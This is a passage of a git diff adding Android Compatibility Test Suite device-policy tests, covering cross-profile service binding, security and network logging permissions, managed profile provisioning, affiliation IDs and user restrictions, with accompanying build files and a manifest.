+                        "must be protected by BIND_DEVICE_ADMIN", ex.getMessage());
+            }
+        }
+    }
+
+    /**
+     * Talk to a DPC package that is neither device owner nor profile owner.
+     */
+    public void testCheckCannotBind_nonManagingPackage() throws Exception {
+        final Intent serviceIntent = new Intent();
+        serviceIntent.setClassName(NON_MANAGING_PACKAGE, ProtectedCrossUserService.class.getName());
+        for (UserHandle targetUser : mTargetUsers) {
+            try {
+                bind(serviceIntent, EMPTY_SERVICE_CONNECTION, targetUser);
+                fail("SecurityException should be thrown for target user " + targetUser);
+            } catch (SecurityException ex) {
+                MoreAsserts.assertContainsRegex("Only allow to bind service", ex.getMessage());
+            }
+        }
+    }
+
+    /**
+     * Talk to the same DPC in same user, that is talking to itself.
+     */
+    public void testCannotBind_sameUser() throws Exception {
+        try {
+            final Intent serviceIntent = new Intent(mContext, ProtectedCrossUserService.class);
+            bind(serviceIntent, EMPTY_SERVICE_CONNECTION, Process.myUserHandle());
+            fail("IllegalArgumentException should be thrown");
+        } catch (IllegalArgumentException ex) {
+            MoreAsserts.assertContainsRegex("target user id must be different", ex.getMessage());
+        }
+    }
+
+    /**
+     * Send a String to other side and expect the exact same string is echoed back.
+     */
+    public void testCrossProfileCall_echo() throws Exception {
+        final String ANSWER = "42";
+        for (UserHandle targetUser : mTargetUsers) {
+            assertCrossProfileCall(ANSWER, service -> service.echo(ANSWER), targetUser);
+        }
+    }
+
+    /**
+     * Make sure we are talking to the target user.
+     */
+    public void testCrossProfileCall_getUserHandle() throws Exception {
+        for (UserHandle targetUser : mTargetUsers) {
+            assertCrossProfileCall(targetUser, service -> service.getUserHandle(), targetUser);
+        }
+    }
+
+    /**
+     * Convenient method for you to execute a cross user call and assert the return value of it.
+     * @param expected The expected result of the cross user call.
+     * @param callable It is called when the service is bound, use this to make the service call.
+     * @param targetUserHandle Which user are we talking to.
+     * @param <T> The return type of the service call.
+     */
+    private <T> void assertCrossProfileCall(
+            T expected, CrossUserCallable<T> callable, UserHandle targetUserHandle)
+            throws Exception {
+        final LinkedBlockingQueue<IInterface> queue = new LinkedBlockingQueue<>();
+        final ServiceConnection serviceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                Log.d(TAG, "onServiceConnected is called in " + Thread.currentThread().getName());
+                // Ensure onServiceConnected is running in main thread.
+                if (Looper.myLooper() != Looper.getMainLooper()) {
+                    // Not running in main thread, failed the test.
+                    Log.e(TAG, "onServiceConnected is not running in main thread!");
+                    queue.add(NOT_IN_MAIN_THREAD_POISON_PILL);
+                    return;
+                }
+                queue.add(ICrossUserService.Stub.asInterface(service));
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.d(TAG, "onServiceDisconnected is called");
+            }
+        };
+        final Intent serviceIntent = new Intent(mContext, ProtectedCrossUserService.class);
+        assertTrue(bind(serviceIntent, serviceConnection, targetUserHandle));
+        IInterface service = queue.poll(5, TimeUnit.SECONDS);
+        assertNotNull("binding to the target service timed out", service);
+        try {
+            if (NOT_IN_MAIN_THREAD_POISON_PILL.equals(service)) {
+                fail("onServiceConnected should be called in main thread");
+            }
+            ICrossUserService crossUserService = (ICrossUserService) service;
+            assertEquals(expected, callable.call(crossUserService));
+        } finally {
+            mContext.unbindService(serviceConnection);
+        }
+    }
+
+    private boolean bind(Intent serviceIntent, ServiceConnection serviceConnection,
+            UserHandle userHandle) {
+        return mDpm.bindDeviceAdminServiceAsUser(AdminReceiver.getComponentName(mContext),
+                serviceIntent, serviceConnection, Context.BIND_AUTO_CREATE, userHandle);
+    }
+
+    interface CrossUserCallable<T> {
+        T call(ICrossUserService service) throws RemoteException;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/DeviceWideLoggingFeaturesTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/DeviceWideLoggingFeaturesTest.java
new file mode 100644
index 0000000..7a518be
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/DeviceWideLoggingFeaturesTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+/**
+ * Testing various scenarios where a device owner attempts to use network / security logging or
+ * request a bug report. Those features should only be available if the primary and managed
+ * profiles are affiliated.
+ */
+public class DeviceWideLoggingFeaturesTest extends AndroidTestCase {
+
+    private static final int NETWORK_LOGGING_BATCH_TOKEN = 123;
+
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mAdminComponent;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevicePolicyManager = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mAdminComponent = AdminReceiver.getComponentName(mContext);
+    }
+
+    /**
+     * Test: retrieving network/security logs can only be done if there's one user on the device or
+     * all secondary users / profiles are affiliated.
+     */
+    public void testRetrievingLogsThrowsSecurityException() {
+        try {
+            mDevicePolicyManager.retrieveSecurityLogs(mAdminComponent);
+            fail("retrieveSecurityLogs did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            mDevicePolicyManager.retrievePreRebootSecurityLogs(mAdminComponent);
+            fail("retrievePreRebootSecurityLogs did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            mDevicePolicyManager.retrieveNetworkLogs(mAdminComponent, NETWORK_LOGGING_BATCH_TOKEN);
+            fail("retrieveNetworkLogs did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testRetrievingLogsDoesNotThrowException() {
+        mDevicePolicyManager.retrieveSecurityLogs(mAdminComponent);
+        mDevicePolicyManager.retrievePreRebootSecurityLogs(mAdminComponent);
+        mDevicePolicyManager.retrieveNetworkLogs(mAdminComponent, NETWORK_LOGGING_BATCH_TOKEN);
+    }
+
+    public void testRequestBugreportThrowsSecurityException() {
+        try {
+            mDevicePolicyManager.requestBugreport(mAdminComponent);
+            fail("requestBugreport did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testRequestBugreportDoesNotThrowException() {
+        mDevicePolicyManager.requestBugreport(mAdminComponent);
+    }
+
+    public void testEnablingNetworkAndSecurityLogging() {
+        assertFalse(mDevicePolicyManager.isSecurityLoggingEnabled(mAdminComponent));
+        assertFalse(mDevicePolicyManager.isNetworkLoggingEnabled(mAdminComponent));
+
+        mDevicePolicyManager.setSecurityLoggingEnabled(mAdminComponent, true);
+        assertTrue(mDevicePolicyManager.isSecurityLoggingEnabled(mAdminComponent));
+        mDevicePolicyManager.setNetworkLoggingEnabled(mAdminComponent, true);
+        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(mAdminComponent));
+    }
+
+    public void testDisablingNetworkAndSecurityLogging() {
+        mDevicePolicyManager.setSecurityLoggingEnabled(mAdminComponent, false);
+        mDevicePolicyManager.setNetworkLoggingEnabled(mAdminComponent, false);
+        assertFalse(mDevicePolicyManager.isSecurityLoggingEnabled(mAdminComponent));
+        assertFalse(mDevicePolicyManager.isNetworkLoggingEnabled(mAdminComponent));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
new file mode 100644
index 0000000..bc8d3d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+interface ICrossUserService {
+    String echo(String msg);
+    android.os.UserHandle getUserHandle();
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ManagementTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ManagementTest.java
new file mode 100644
index 0000000..b7220be
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ManagementTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.comp;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+import java.util.List;
+
+public class ManagementTest extends AndroidTestCase {
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevicePolicyManager = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+    }
+
+    public void testIsManagedProfile() {
+        assertNotNull(mDevicePolicyManager);
+        assertTrue(mDevicePolicyManager.isAdminActive(
+                AdminReceiver.getComponentName(getContext())));
+        assertTrue(mDevicePolicyManager.isProfileOwnerApp(getContext().getPackageName()));
+        assertTrue(mDevicePolicyManager.isManagedProfile(
+                AdminReceiver.getComponentName(getContext())));
+    }
+
+    public void testIsDeviceOwner() {
+        assertNotNull(mDevicePolicyManager);
+        assertTrue(mDevicePolicyManager.isAdminActive(
+                AdminReceiver.getComponentName(getContext())));
+        assertTrue(mDevicePolicyManager.isDeviceOwnerApp(getContext().getPackageName()));
+        assertFalse(mDevicePolicyManager.isManagedProfile(
+                AdminReceiver.getComponentName(getContext())));
+    }
+
+    /**
+     * Assumes that the managed profile is enabled.
+     * Otherwise, {@link Utils#getOtherProfile} won't return a profile.
+     */
+    public void testOtherProfilesEqualsBindTargetUsers() {
+        UserHandle otherProfile = Utils.getOtherProfile(mContext);
+        assertNotNull(otherProfile);
+
+        List<UserHandle> allowedTargetUsers = mDevicePolicyManager.getBindDeviceAdminTargetUsers(
+                AdminReceiver.getComponentName(mContext));
+        assertEquals(1, allowedTargetUsers.size());
+        assertEquals(otherProfile, allowedTargetUsers.get(0));
+    }
+
+    public void testProvisionManagedProfileAllowed() {
+        assertTrue(mDevicePolicyManager.isProvisioningAllowed(
+                DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
+    }
+
+    public void testProvisionManagedProfileNotAllowed() {
+        assertFalse(mDevicePolicyManager.isProvisioningAllowed(
+                DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
+    }
+
+    public void testWipeData() {
+        mDevicePolicyManager.wipeData(0);
+    }
+
+    public void testCanRemoveManagedProfile() {
+        UserHandle profileUserHandle = Utils.getOtherProfile(mContext);
+        assertNotNull(profileUserHandle);
+        assertTrue(mDevicePolicyManager.removeUser(AdminReceiver.getComponentName(mContext),
+                profileUserHandle));
+    }
+
+    public void testCreateSecondaryUser() throws Exception {
+        ComponentName admin = AdminReceiver.getComponentName(mContext);
+        assertNotNull(mDevicePolicyManager.createAndManageUser(admin, "secondary-user",
+                admin, null, DevicePolicyManager.SKIP_SETUP_WIZARD));
+    }
+
+    public void testNoBindDeviceAdminTargetUsers() {
+        MoreAsserts.assertEmpty(mDevicePolicyManager.getBindDeviceAdminTargetUsers(
+                AdminReceiver.getComponentName(mContext)));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ProtectedCrossUserService.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ProtectedCrossUserService.java
new file mode 100644
index 0000000..76e926a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ProtectedCrossUserService.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.os.UserHandle;
+
+/**
+ * Handle the cross user call from the device admin in other side.
+ */
+public class ProtectedCrossUserService extends Service {
+
+    private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
+        public String echo(String msg) {
+            return msg;
+        }
+
+        public UserHandle getUserHandle() {
+            return Process.myUserHandle();
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/UnprotectedCrossUserService.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/UnprotectedCrossUserService.java
new file mode 100644
index 0000000..8540737
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/UnprotectedCrossUserService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * Dummy service that is exported.
+ */
+public class UnprotectedCrossUserService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/Utils.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/Utils.java
new file mode 100644
index 0000000..49f7e1e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/Utils.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.comp;
+
+import android.content.Context;
+import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.annotation.Nullable;
+import android.util.Log;
+
+import java.util.List;
+
+
+public class Utils {
+
+    private static final String TAG = "BindDeviceAdminTest";
+
+    /**
+     * Returns the user handle of the other profile of the same user, or {@code null} if there
+     * are no other profiles or there are more than one.
+     */
+    static @Nullable
+    UserHandle getOtherProfile(Context context) {
+        List<UserHandle> otherProfiles = context.getSystemService(UserManager.class)
+                .getUserProfiles();
+        otherProfiles.remove(Process.myUserHandle());
+        if (otherProfiles.size() == 1) {
+            return otherProfiles.get(0);
+        }
+        Log.d(TAG, "There are " + otherProfiles.size() + " other profiles for user "
+                + Process.myUserHandle() + ": " + otherProfiles);
+        return null;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/AffiliationTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/AffiliationTest.java
new file mode 100644
index 0000000..442e544
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/AffiliationTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp.provisioning;
+
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+import com.android.cts.comp.AdminReceiver;
+
+import java.util.Collections;
+import java.util.Set;
+
+public class AffiliationTest extends AndroidTestCase {
+
+    public void testSetAffiliationId1() {
+        setAffiliationId("id.number.1");
+    }
+
+    public void testSetAffiliationId2() {
+        setAffiliationId("id.number.2");
+    }
+
+    private void setAffiliationId(String id) {
+        ComponentName admin = AdminReceiver.getComponentName(getContext());
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        Set<String> ids = Collections.singleton(id);
+        dpm.setAffiliationIds(admin, ids);
+        assertEquals(ids, dpm.getAffiliationIds(admin));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/ManagedProfileProvisioningTest.java
new file mode 100644
index 0000000..cfba0a0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/ManagedProfileProvisioningTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.comp.provisioning;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.Intent;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+import com.android.cts.comp.AdminReceiver;
+
+public class ManagedProfileProvisioningTest extends AndroidTestCase {
+    private static final String TAG = "ManagedProfileProvisioningTest";
+
+    public void testProvisioningCorpOwnedManagedProfile() throws Exception {
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE)
+            .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                    AdminReceiver.getComponentName(getContext()))
+            .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+            // this flag for Corp owned only
+            .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_USER_CONSENT, true);
+
+        SilentProvisioningTestManager provisioningManager =
+                new SilentProvisioningTestManager(getContext());
+        assertTrue(provisioningManager.startProvisioningAndWait(intent));
+        assertTrue(isExtraUserPresent(provisioningManager.getReceviedProfileProvisionedIntent()));
+    }
+
+    // This is only necessary if the profile is created via managed provisioning flow.
+    public void testEnableProfile() {
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                getContext().getSystemService(Context.DEVICE_POLICY_SERVICE);
+        dpm.setProfileEnabled(AdminReceiver.getComponentName(getContext()));
+    }
+
+    private boolean isExtraUserPresent(Intent intent) {
+        return intent != null && intent.getExtras().containsKey(Intent.EXTRA_USER);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
new file mode 100644
index 0000000..95972a2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp.provisioning;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.UserManager;
+import android.test.AndroidTestCase;
+
+import com.android.cts.comp.AdminReceiver;
+
+public class UserRestrictionTest extends AndroidTestCase {
+
+    public void testAddDisallowAddManagedProfileRestriction() {
+        setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, true);
+    }
+
+    public void testClearDisallowAddManagedProfileRestriction() {
+        setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, false);
+    }
+
+    public void testAddDisallowRemoveManagedProfileRestriction() {
+        setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, true);
+    }
+
+    public void testClearDisallowRemoveManagedProfileRestriction() {
+        setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, false);
+    }
+
+    public void testAddDisallowRemoveUserRestriction() {
+        setUserRestriction(UserManager.DISALLOW_REMOVE_USER, true);
+    }
+
+    public void testClearDisallowRemoveUserRestriction() {
+        setUserRestriction(UserManager.DISALLOW_REMOVE_USER, false);
+    }
+
+    private void setUserRestriction(String restriction, boolean add) {
+        DevicePolicyManager dpm = getContext().getSystemService(DevicePolicyManager.class);
+        ComponentName admin = AdminReceiver.getComponentName(getContext());
+        if (add) {
+            dpm.addUserRestriction(admin, restriction);
+        } else {
+            dpm.clearUserRestriction(admin, restriction);
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index 7b29bd4..e33baab 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/src/com/android/cts/customizationapp/CustomizationTest.java b/hostsidetests/devicepolicy/app/CustomizationApp/src/com/android/cts/customizationapp/CustomizationTest.java
index 11d8c78..75f0067 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/src/com/android/cts/customizationapp/CustomizationTest.java
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/src/com/android/cts/customizationapp/CustomizationTest.java
@@ -22,7 +22,7 @@
 import android.os.UserManager;
 import android.test.AndroidTestCase;
 
-import android.cts.util.BitmapUtils;
+import com.android.compatibility.common.util.BitmapUtils;
 import com.android.cts.customizationapp.R;
 
 /**
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
new file mode 100644
index 0000000..1ff51b9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDelegateApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
new file mode 100644
index 0000000..cc139a4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.delegate">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity
+            android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
+            android:exported="true">
+        </activity>
+    </application>
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.delegate"
+                     android:label="Delegation CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
new file mode 100644
index 0000000..ab37090
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.UserManager;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_APP_RESTRICTIONS} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can manage app restrictions.
+ */
+public class AppRestrictionsDelegateTest extends InstrumentationTestCase {
+
+    private static final String APP_RESTRICTIONS_TARGET_PKG =
+            "com.android.cts.apprestrictions.targetapp";
+    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
